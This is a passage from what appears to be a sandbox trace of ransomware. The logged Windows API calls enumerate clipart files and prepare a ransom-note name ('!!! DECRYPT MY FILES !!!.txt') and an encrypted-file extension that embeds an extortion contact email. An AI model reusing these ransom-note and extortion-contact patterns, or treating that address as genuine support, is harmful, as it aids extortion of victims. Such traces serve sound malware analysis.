ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0133.709] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 1 [0133.709] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf") returned 0x44 [0133.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.709] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.709] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.710] GetProcessHeap () returned 0x630000 [0133.710] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x160) returned 0x66a3e0 [0133.710] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0133.710] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 1 [0133.710] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf") returned 0x44 [0133.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.710] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.710] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.710] GetProcessHeap () returned 0x630000 [0133.710] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x164) returned 0x66a3e0 [0133.710] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0133.711] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 1 [0133.711] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf") returned 0x44 [0133.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.711] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.711] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.711] GetProcessHeap () returned 0x630000 [0133.711] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x168) returned 0x66a3e0 [0133.711] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0133.711] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 1 [0133.711] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf") returned 0x44 [0133.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.712] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.712] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.712] GetProcessHeap () returned 0x630000 [0133.712] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x16c) returned 0x66a3e0 [0133.712] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0133.712] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 1 [0133.712] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf") returned 0x44 [0133.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.712] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.712] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.713] GetProcessHeap () returned 0x630000 [0133.713] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x170) returned 0x66a3e0 [0133.713] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0133.713] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 1 [0133.713] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf") returned 0x44 [0133.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.713] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.713] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.713] GetProcessHeap () returned 0x630000 [0133.713] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x174) returned 0x66a3e0 [0133.713] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0133.714] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 1 [0133.714] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf") returned 0x44 [0133.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.714] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.714] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.714] GetProcessHeap () returned 0x630000 [0133.714] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x178) returned 0x66a3e0 [0133.714] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0133.714] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 1 [0133.714] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf") returned 0x44 [0133.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.714] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.715] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.715] GetProcessHeap () returned 0x630000 [0133.715] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x17c) returned 0x66a3e0 [0133.715] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0133.715] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 1 [0133.715] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf") returned 0x44 [0133.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.715] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.715] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.715] GetProcessHeap () returned 0x630000 [0133.715] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x180) returned 0x66a3e0 [0133.715] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0133.716] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 1 [0133.716] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf") returned 0x44 [0133.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.716] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.716] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.716] GetProcessHeap () returned 0x630000 [0133.716] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x184) returned 0x66a3e0 [0133.716] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0133.716] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 1 [0133.716] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf") returned 0x44 [0133.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.717] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.717] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.717] GetProcessHeap () returned 0x630000 [0133.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x188) returned 0x66a3e0 [0133.717] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0133.717] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 1 [0133.717] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf") returned 0x44 [0133.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.717] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.717] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.717] GetProcessHeap () returned 0x630000 [0133.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x18c) returned 0x66a3e0 [0133.718] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0133.718] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program 